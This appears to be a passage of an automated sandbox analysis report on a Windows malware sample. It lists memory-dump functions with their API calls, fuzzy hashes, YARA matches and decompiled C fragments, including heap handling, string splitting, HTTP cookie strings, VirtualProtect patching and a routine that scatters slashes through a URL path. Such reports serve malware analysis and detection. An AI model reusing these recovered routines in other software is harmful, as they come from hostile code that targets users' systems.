Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 8c2b184751f480f1306a6ba32ebb5b054cf1c580a508bc5468814375ca2797a3
Instruction ID: 870f2997af92454b02a5b25294b51f8a67cf0141f5385453fdeda27b2e8eecff
Opcode Fuzzy Hash: 8c2b184751f480f1306a6ba32ebb5b054cf1c580a508bc5468814375ca2797a3
Instruction Fuzzy Hash: CB314EB1D00208EFDB20DF99C8809DFBBB8FB08345F50856AE54AE2251D734AF45AF65

Uniqueness

Uniqueness Score: -1.00%

Function 02353D35, Relevance: 6.1, APIs: 4, Instructions: 92synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 02353D4C
SetEvent.KERNEL32(?,?,?,?,023413F9,?,?), ref: 02353D5C
GetLastError.KERNEL32 ref: 02353DE5

Part of subcall function 02359A3E: WaitForMultipleObjects.KERNEL32(00000002,00000000,00000000,00000000), ref: 02359A59

Part of subcall function 02341ADC: HeapFree.KERNEL32(00000000,?,02354DD0), ref: 02341AE8

GetLastError.KERNEL32(00000000), ref: 02353E1A

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 4fd2f759c4fbbaeda626ef42ab900287c2a259afa89ff168f8105454bd03d415
Instruction ID: e223a44a53c3208c50c625ffd58ad2a5a3da7d664e67ae80c71d193e893b8aad
Opcode Fuzzy Hash: 4fd2f759c4fbbaeda626ef42ab900287c2a259afa89ff168f8105454bd03d415
Instruction Fuzzy Hash: 16310FB5D00209EFDB20DFA5C884D9EBBFDEF08784F1045AAE906A2541D771EA44DF20

Uniqueness

Uniqueness Score: -1.00%

Function 003A2308, Relevance: 6.1, APIs: 4, Instructions: 83
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E003A2308(intOrPtr __eax, void* __edx) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __esi;
				void* __ebp;
				intOrPtr _t33;
				intOrPtr _t59;
				struct HDC__* _t69;
				void* _t70;
				intOrPtr _t79;
				void* _t84;
				struct HPALETTE__* _t85;
				intOrPtr _t87;
				intOrPtr _t89;

				_t87 = _t89;
				_push(_t70);
				_v8 = __eax;
				_t33 = _v8;
				if( *((intOrPtr*)(_t33 + 0x58)) == 0) {
					return _t33;
				} else {
					E003A0530(_v8);
					_push(_t87);
					_push(0x3a23e7);
					_push( *[fs:eax]);
					 *[fs:eax] = _t89;
					E003A3624( *((intOrPtr*)(_v8 + 0x58)));
					E003A2184( *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 8));
					E003A3724( *((intOrPtr*)(_v8 + 0x58)));
					_t69 = CreateCompatibleDC(0);
					_t84 =  *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 8);
					if(_t84 == 0) {
						 *((intOrPtr*)(_v8 + 0x5c)) = 0;
					} else {
						 *((intOrPtr*)(_v8 + 0x5c)) = SelectObject(_t69, _t84);
					}
					_t85 =  *( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x58)) + 0x28)) + 0x10);
					if(_t85 == 0) {
						 *((intOrPtr*)(_v8 + 0x60)) = 0;
					} else {
						 *((intOrPtr*)(_v8 + 0x60)) = SelectPalette(_t69, _t85, 0xffffffff);
						RealizePalette(_t69);
					}
					E003A0824(_v8, _t69);
					_t59 =  *0x3d96ec; // 0x2140ae8
					E00397218(_t59, _t69, _t70, _v8, _t85);
					_pop(_t79);
					 *[fs:eax] = _t79;
					_push(0x3a23ee);
					return E003A069C(_v8);
				}
			}

0x003a2309
0x003a230b
0x003a230e
0x003a2311
0x003a2318
0x003a23f2
0x003a231e
0x003a2321
0x003a2328
0x003a2329
0x003a232e
0x003a2331
0x003a233a
0x003a234b
0x003a2356
0x003a2362
0x003a236d
0x003a2372
0x003a2388
0x003a2374
0x003a237e
0x003a237e
0x003a2394
0x003a2399
0x003a23b7
0x003a239b
0x003a23a7
0x003a23ab
0x003a23ab
0x003a23bf
0x003a23c7
0x003a23cc
0x003a23d3
0x003a23d6
0x003a23d9
0x003a23e6
0x003a23e6

APIs

Part of subcall function 003A0530: RtlEnterCriticalSection.KERNEL32(003DB8C8,00000000,0039EFAA,00000000,0039F009), ref: 003A0538
Part of subcall function 003A0530: RtlLeaveCriticalSection.KERNEL32(003DB8C8,003DB8C8,00000000,0039EFAA,00000000,0039F009), ref: 003A0545
Part of subcall function 003A0530: RtlEnterCriticalSection.KERNEL32(00000038,003DB8C8,003DB8C8,00000000,0039EFAA,00000000,0039F009), ref: 003A054E

Part of subcall function 003A3724: GetDC.USER32(00000000), ref: 003A377A
Part of subcall function 003A3724: GetDeviceCaps.GDI32(00000000,0000000C), ref: 003A378F
Part of subcall function 003A3724: GetDeviceCaps.GDI32(00000000,0000000E), ref: 003A3799
Part of subcall function 003A3724: CreateHalftonePalette.GDI32(00000000), ref: 003A37BD
Part of subcall function 003A3724: ReleaseDC.USER32(00000000,00000000), ref: 003A37C8

CreateCompatibleDC.GDI32(00000000), ref: 003A235D
SelectObject.GDI32(00000000,?), ref: 003A2376
SelectPalette.GDI32(00000000,?,000000FF), ref: 003A239F
RealizePalette.GDI32(00000000), ref: 003A23AB

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalPaletteSection$CapsCreateDeviceEnterSelect$CompatibleHalftoneLeaveObjectRealizeRelease
String ID:
API String ID: 979337279-0
Opcode ID: 998c76562638a931c35060272048b6545686fd4397b6f0e2f0f6ea57c58f89c9
Instruction ID: fc56521b207ba7bb335eb76b6ef09d95e91cacb135e9aab75809da5f3f2fbfb8
Opcode Fuzzy Hash: 998c76562638a931c35060272048b6545686fd4397b6f0e2f0f6ea57c58f89c9
Instruction Fuzzy Hash: B8311C74A04654EFCB1AEF59D982D5EB3F5EF4A320B224191F804AB362D734EE40DB50

Uniqueness

Uniqueness Score: -1.00%

Function 02347174, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02346CE0: RtlAllocateHeap.NTDLL(00000000,?), ref: 02346D12
Part of subcall function 02346CE0: HeapFree.KERNEL32(00000000,00000000), ref: 02346D37

HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02347228
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0234724C
HeapFree.KERNEL32(00000000,00000000), ref: 02347257

Strings

https://, xrefs: 023471A1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$Allocate
String ID: https://
API String ID: 3472947110-4275131719
Opcode ID: 98ead69c0696628e6dc63e98b70e087a9f9fe5e0e28f0e90c282c9ebeb715f4f
Instruction ID: 490e3576c3f59905362829e3d7b91e8c6f29c3a12013275b90c1c0ce2c8b2cfc
Opcode Fuzzy Hash: 98ead69c0696628e6dc63e98b70e087a9f9fe5e0e28f0e90c282c9ebeb715f4f
Instruction Fuzzy Hash: F8219271941218BAEB215F20DD09F9EBEFEEF45794F108094FD046A090DBB5AA92DF90

Uniqueness

Uniqueness Score: -1.00%

Function 02347EF5, Relevance: 6.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 02347F24
lstrlen.KERNEL32(00000000), ref: 02347F34

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

strcpy.NTDLL ref: 02347F4B
StrChrA.SHLWAPI(00000000,0000003A), ref: 02347F55

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeaplstrlenmemsetstrcpy
String ID:
API String ID: 528014985-0
Opcode ID: 045d927b50be85358e39cd38a75e7eb186e66c9ddcb1ac39d760240fcf4dd630
Instruction ID: 741e31b41e9ad948555bb37b6ef92296a7ce7d25379dd8a3777424199c3afd4e
Opcode Fuzzy Hash: 045d927b50be85358e39cd38a75e7eb186e66c9ddcb1ac39d760240fcf4dd630
Instruction Fuzzy Hash: A521CFB2504701AFD7209F64D84DB2AB7FDEF44B55F00C959F85686280EFB9E414CB61

Uniqueness

Uniqueness Score: -1.00%

Function 003C2380, Relevance: 6.1, APIs: 4, Instructions: 72
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003C2380(void* __eax, struct HMENU__* __edx, int _a4, int _a8, CHAR* _a12) {
				intOrPtr _v8;
				void* __ecx;
				void* __edi;
				int _t27;
				void* _t40;
				int _t41;
				int _t50;

				_t50 = _t41;
				_t49 = __edx;
				_t40 = __eax;
				if(E003C1A8C(__eax) == 0) {
					return GetMenuStringA(__edx, _t50, _a12, _a8, _a4);
				}
				_v8 = 0;
				if((GetMenuState(__edx, _t50, _a4) & 0x00000010) == 0) {
					_t27 = GetMenuItemID(_t49, _t50);
					_t51 = _t27;
					if(_t27 != 0xffffffff) {
						_v8 = E003C1908(_t40, 0, _t51);
					}
				} else {
					_t49 = GetSubMenu(_t49, _t50);
					_v8 = E003C1908(_t40, 1, _t37);
				}
				if(_v8 == 0) {
					return 0;
				} else {
					 *_a12 = 0;
					E003886F8(_a12, _a8,  *((intOrPtr*)(_v8 + 0x30)));
					return E0038863C(_a12, _t49);
				}
			}

0x003c2387
0x003c2389
0x003c238b
0x003c2396
0x00000000
0x003c241a
0x003c239a
0x003c23aa
0x003c23c7
0x003c23cc
0x003c23d1
0x003c23de
0x003c23de
0x003c23ac
0x003c23b3
0x003c23c0
0x003c23c0
0x003c23e5
0x00000000
0x003c23e7
0x003c23ea
0x003c23f9
0x00000000
0x003c2401

APIs

GetMenuState.USER32(?,?,?), ref: 003C23A3
GetSubMenu.USER32 ref: 003C23AE
GetMenuItemID.USER32(?,?), ref: 003C23C7
GetMenuStringA.USER32 ref: 003C241A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$ItemStateString
String ID:
API String ID: 306270399-0
Opcode ID: 1342d76b9356d06482726c5aaa7d467594ef7826ac005edeac8ec2eca2f8e805
Instruction ID: 8816f5be3f1f6297e0d70e1561493b69e091ffcd2b7d1adda78a806e1326e0da
Opcode Fuzzy Hash: 1342d76b9356d06482726c5aaa7d467594ef7826ac005edeac8ec2eca2f8e805
Instruction Fuzzy Hash: 76118E35601214AF8716EF2DCC85FAF7BE89F4A3A0B114469F919DB342DA30DD0197A0

Uniqueness

Uniqueness Score: -1.00%

Function 0234F06A, Relevance: 6.1, APIs: 4, Instructions: 70fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0234F118: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,00000208,00000000,00000000,?,?,0234F081), ref: 0234F13E

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0234F0BC
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,0235F032,4C72644C), ref: 0234F0CE
ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 0234F0E6
CloseHandle.KERNEL32(?), ref: 0234F101

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: File$CloseCreateHandleModuleNamePointerRead
String ID:
API String ID: 1352878660-0
Opcode ID: 11c463b5449a97d80c4609ed11d1970949395c41f7558dbcbe234a858c8c5326
Instruction ID: 8eef032df3383fad0f35e78db99168da401376781a1287e4d984ca9c38ef3a27
Opcode Fuzzy Hash: 11c463b5449a97d80c4609ed11d1970949395c41f7558dbcbe234a858c8c5326
Instruction Fuzzy Hash: F61190B1A00128BFDB20AB65CC88EEF7EADEF01B54F144095F504E1450DB70AA51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0235829A, Relevance: 6.1, APIs: 4, Instructions: 68stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,023456BC), ref: 023582D2

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

lstrcpy.KERNEL32(00000000,?), ref: 023582E9
StrChrA.SHLWAPI(00000000,0000002E), ref: 023582F2
GetModuleHandleA.KERNEL32(00000000,?,?,023456BC), ref: 02358310

Part of subcall function 02344F0B: VirtualProtect.KERNELBASE(00000000,00000005,00000040,00000040,00000000,00000005,00000000,00000000,?,00000000,023456BC,00000000,00000004,?,00000000,?), ref: 02344FE2
Part of subcall function 02344F0B: VirtualProtect.KERNELBASE(?,00000004,?,?,00000000,023456BC,00000000,00000004,?,00000000,?,00000000,?,02363608,0000001C,02355329), ref: 02344FFD
Part of subcall function 02344F0B: RtlEnterCriticalSection.NTDLL(02367380), ref: 02345021

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ProtectVirtual$AllocateCriticalEnterHandleHeapModuleSectionlstrcpylstrlen
String ID:
API String ID: 105881616-0
Opcode ID: 4ccf3bd2e83667696f2d8828863dc679f7253aaab19db798eac1dd24320bf745
Instruction ID: 6238855e2166c41aec4bbe9326e3605d929f4073ee5848bb3710610846c59dd4
Opcode Fuzzy Hash: 4ccf3bd2e83667696f2d8828863dc679f7253aaab19db798eac1dd24320bf745
Instruction Fuzzy Hash: DC215B78A00205EFCB11DF65C848FAEBBF9FF44704F148499E85A97250DB74E985CB50

Uniqueness

Uniqueness Score: -1.00%

Function 004780EE, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004780EE(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x47d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x47d250; // 0x3fadd798
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x47d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x004780f6
0x004780f9
0x004780ff
0x00478117
0x0047811b
0x0047811e
0x00478120
0x00478123
0x00478125
0x00478128
0x0047812a
0x0047812a
0x0047812c
0x00478137
0x0047813c
0x0047814d
0x00478155
0x0047815a
0x0047815d
0x00478160
0x00478162
0x00478168
0x0047816b
0x0047816b
0x0047816b
0x00478176
0x0047817b
0x00478185

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00476B43,00000000,?,?,00478ED2,?,03BC97D8), ref: 004780F9
RtlAllocateHeap.NTDLL(00000000,?), ref: 00478111
memcpy.NTDLL(00000000,?,-00000008,?,?,?,00476B43,00000000,?,?,00478ED2,?,03BC97D8), ref: 00478155
memcpy.NTDLL(00000001,?,00000001), ref: 00478176

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 10ced16392ac1ccfa07c9c1e3f50d0481412a76d34133c0d5f0344364fb9f8ac
Instruction ID: 70c1d0522db07416f0039c7e3d4820ead1a3903e34ac396b25da99032c2a15c2
Opcode Fuzzy Hash: 10ced16392ac1ccfa07c9c1e3f50d0481412a76d34133c0d5f0344364fb9f8ac
Instruction Fuzzy Hash: EB110672A00114AFC7108F69DC88D9EBBBEEFC1360B0442BAF80D97251EB749E45C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 02357032, Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,0235AE92,00000000,?,?,0234A638,00000000,04908F88), ref: 0235703D
RtlAllocateHeap.NTDLL(00000000,?), ref: 02357055
memcpy.NTDLL(00000000,?,-00000008,?,?,?,0235AE92,00000000,?,?,0234A638,00000000,04908F88), ref: 02357099
memcpy.NTDLL(00000001,?,00000001,?,?,?), ref: 023570BA

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 5b2047641cba463936b3a60661a7b9275ec6f675e12f2e8af4549b53209aa814
Instruction ID: 207e26573d1387e8c193ad4fc2f5e26be65bd44d3c9550a2c9434108e243e68c
Opcode Fuzzy Hash: 5b2047641cba463936b3a60661a7b9275ec6f675e12f2e8af4549b53209aa814
Instruction Fuzzy Hash: 3F11C6B2E00224BFC710CA69DC88E9EBBEEDF80750F054166F90997240E6719A1487A0

Uniqueness

Uniqueness Score: -1.00%

Function 02344001, Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(?,?), ref: 02344027
StrTrimA.SHLWAPI(?,02363530), ref: 02344046
StrChrA.SHLWAPI(?,?), ref: 02344057
StrTrimA.SHLWAPI(00000001,02363530), ref: 02344069

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 3d75436b2964cdb648db6e83a18c09945c097e1ec788f9e9f550f7c3b99abc9d
Instruction ID: a560ac15115a302b60a8d90ddcd1537ddfacfa971693fa23dd3341c485923a65
Opcode Fuzzy Hash: 3d75436b2964cdb648db6e83a18c09945c097e1ec788f9e9f550f7c3b99abc9d
Instruction Fuzzy Hash: 50118F75600245BBDB00CF58C884FAABBBDEB85791F108059FD058B201DB75EA50CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00476A2E, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00476A2E(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E004716F8(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x47c29c);
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x47c29c);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x00476a39
0x00476a3d
0x00476a3f
0x00476a40
0x00476a48
0x00476a48
0x00476a4c
0x00000000
0x00000000
0x00476a43
0x00476a44
0x00476a47
0x00476a47
0x00476a54
0x00476a5b
0x00476a5f
0x00476a67
0x00476a6d
0x00476a6f
0x00476a74
0x00476a78
0x00476a7a
0x00476a7d
0x00476a84
0x00476a84
0x00476a8e
0x00476a91
0x00476a94
0x00476a94
0x00476aa0
0x00476aa0
0x00476aad

APIs

StrChrA.SHLWAPI(?,00000020), ref: 00476A48
StrTrimA.SHLWAPI(?,0047C29C), ref: 00476A67
StrChrA.SHLWAPI(?,00000020), ref: 00476A72
StrTrimA.SHLWAPI(00000001,0047C29C), ref: 00476A84

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 479e8299086cc3c278db100ade6df31c5983913ed81b16c0523d4d5b247cd0c2
Instruction ID: 091726145a7ac6bebf03172fecf1fbd9a5651240c2f2c461acecb15d45860e33
Opcode Fuzzy Hash: 479e8299086cc3c278db100ade6df31c5983913ed81b16c0523d4d5b247cd0c2
Instruction Fuzzy Hash: BD01F531A057215FC2309F599C48F677FA9EF8AB90F12851EF849E7341DB64CC0186E8

Uniqueness

Uniqueness Score: -1.00%

Function 023477BE, Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0234CE55: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0234CE84
Part of subcall function 0234CE55: HeapFree.KERNEL32(00000000,00000000), ref: 0234CEA7

HeapFree.KERNEL32(00000000,00000000,?), ref: 023477F8

Part of subcall function 0236005A: lstrlen.KERNEL32(02360BEE,-00000008,-00000008,?,?,?,?,02360BEE,-00000008,?,?,-00000008,?,0234E5CE,Transfer-Encoding:, chunked), ref: 02360071
Part of subcall function 0236005A: lstrlen.KERNEL32(-00000008,?,?,?,02360BEE,-00000008,?,?,-00000008,?,0234E5CE,Transfer-Encoding:, chunked), ref: 02360079
Part of subcall function 0236005A: lstrlen.KERNEL32(?,?,?,?,02360BEE), ref: 023600E4
Part of subcall function 0236005A: RtlAllocateHeap.NTDLL(00000000,?), ref: 0236010F
Part of subcall function 0236005A: memcpy.NTDLL(00000000,00000002,-00000106,?,?,?,02360BEE), ref: 02360120
Part of subcall function 0236005A: memcpy.NTDLL(00000000,02360BEE,02360BEE,?,?,?,?,?,?,02360BEE), ref: 02360136
Part of subcall function 0236005A: memcpy.NTDLL(00000000,?,?,00000000,02360BEE,02360BEE,?,?,?,?,?,?,02360BEE), ref: 02360148
Part of subcall function 0236005A: memcpy.NTDLL(00000000,023633F4,00000002,00000000,?,?,00000000,02360BEE,02360BEE,?,?,?,?,?,?,02360BEE), ref: 0236015B
Part of subcall function 0236005A: memcpy.NTDLL(00000000,?,00000002,?,?,?,?,?,?,02360BEE), ref: 02360170

HeapFree.KERNEL32(00000000,?,?), ref: 02347844

Strings

Cookie: , xrefs: 023477E0
https://, xrefs: 02347807

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heapmemcpy$Freelstrlen$Allocate
String ID: Cookie: $https://
API String ID: 2465664858-1563071917
Opcode ID: 8dd54476c9a355bd77d33c0b9193ac244e2a2fcdba70e76536026eb9aa0a0196
Instruction ID: b024eab476e3d3721448e732d8da816510d59bee2a72fe38bdac8b62f2845d7e
Opcode Fuzzy Hash: 8dd54476c9a355bd77d33c0b9193ac244e2a2fcdba70e76536026eb9aa0a0196
Instruction Fuzzy Hash: CF01A5325402147BDB325F29DC49EBEBBADDB45BA0F04C054FC1897114CB31E911CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 0235047B, Relevance: 6.1, APIs: 4, Instructions: 58threadCOMMON

Download Yara Rule

APIs

GlobalFix.KERNEL32(00000000), ref: 023504BB
memset.NTDLL ref: 023504CF
GetWindowThreadProcessId.USER32(00000000,?), ref: 023504DC

Part of subcall function 0236027C: OpenProcess.KERNEL32(00000410,C2C95B5F,0234B297,00000000,00000000,0234B297,00000000,00000000,?,?,?,0234B297), ref: 023602D3
Part of subcall function 0236027C: CloseHandle.KERNEL32(00000000), ref: 023602F1
Part of subcall function 0236027C: GetSystemTimeAsFileTime.KERNEL32(0234B297), ref: 02360357

GlobalUnWire.KERNEL32(00000000), ref: 02350507

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: GlobalProcessTime$CloseFileHandleOpenSystemThreadWindowWirememset
String ID:
API String ID: 3286078456-0
Opcode ID: b3c69fe134cba7a1a883d3b9c3867d147faf32b0082bcb0ae39b7e80c00f6697
Instruction ID: 0046e6e222e44c1dec0fc5043ace5d6efc4cc14679128a86b5a0ba886cfbff59
Opcode Fuzzy Hash: b3c69fe134cba7a1a883d3b9c3867d147faf32b0082bcb0ae39b7e80c00f6697
Instruction Fuzzy Hash: B31170B1D40208EBDB11AFB5D94DB9E7BBCAF4CB81F008816E905F2240EB75C6018E61

Uniqueness

Uniqueness Score: -1.00%

Function 003B90D0, Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003B90D0(void* __eax, void* __ecx, char __edx) {
				char _v12;
				struct HWND__* _v20;
				int _t17;
				void* _t27;
				struct HWND__* _t33;
				void* _t35;
				void* _t36;
				long _t37;

				_t37 = _t36 + 0xfffffff8;
				_t27 = __eax;
				_t17 =  *0x3dbb1c; // 0x2141868
				if( *((intOrPtr*)(_t17 + 0x30)) != 0) {
					if( *((intOrPtr*)(__eax + 0x94)) == 0) {
						 *_t37 =  *((intOrPtr*)(__eax + 0x30));
						_v12 = __edx;
						EnumWindows(E003B9060, _t37);
						_t17 =  *(_t27 + 0x90);
						if( *((intOrPtr*)(_t17 + 8)) != 0) {
							_t33 = GetWindow(_v20, 3);
							_v20 = _t33;
							if((GetWindowLongA(_t33, 0xffffffec) & 0x00000008) != 0) {
								_v20 = 0xfffffffe;
							}
							_t17 =  *(_t27 + 0x90);
							_t35 =  *((intOrPtr*)(_t17 + 8)) - 1;
							if(_t35 >= 0) {
								do {
									_t17 = SetWindowPos(E00396F34( *(_t27 + 0x90), _t35), _v20, 0, 0, 0, 0, 0x213);
									_t35 = _t35 - 1;
								} while (_t35 != 0xffffffff);
							}
						}
					}
					 *((intOrPtr*)(_t27 + 0x94)) =  *((intOrPtr*)(_t27 + 0x94)) + 1;
				}
				return _t17;
			}

0x003b90d2
0x003b90d5
0x003b90d7
0x003b90e0
0x003b90ed
0x003b90f6
0x003b90f9
0x003b9105
0x003b910a
0x003b9114
0x003b9122
0x003b9124
0x003b9131
0x003b9133
0x003b9133
0x003b913a
0x003b9143
0x003b9147
0x003b9149
0x003b9169
0x003b916e
0x003b916f
0x003b9149
0x003b9147
0x003b9114
0x003b9174
0x003b9174
0x003b917e

APIs

EnumWindows.USER32(Function_00039060), ref: 003B9105
GetWindow.USER32(?,00000003), ref: 003B911D
GetWindowLongA.USER32(00000000,000000EC), ref: 003B912A
SetWindowPos.USER32(00000000,000000EC,00000000,00000000,00000000,00000000,00000213), ref: 003B9169

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$EnumLongWindows
String ID:
API String ID: 4191631535-0
Opcode ID: 47fd81bf8aa029c11a59513e74081b5fd530f6e5f6ec81b1c5412433a2a046b1
Instruction ID: 2156fab6203c4ed8869b58e94140d425e3a2a8347a0337cb68bb45eacef84f08
Opcode Fuzzy Hash: 47fd81bf8aa029c11a59513e74081b5fd530f6e5f6ec81b1c5412433a2a046b1
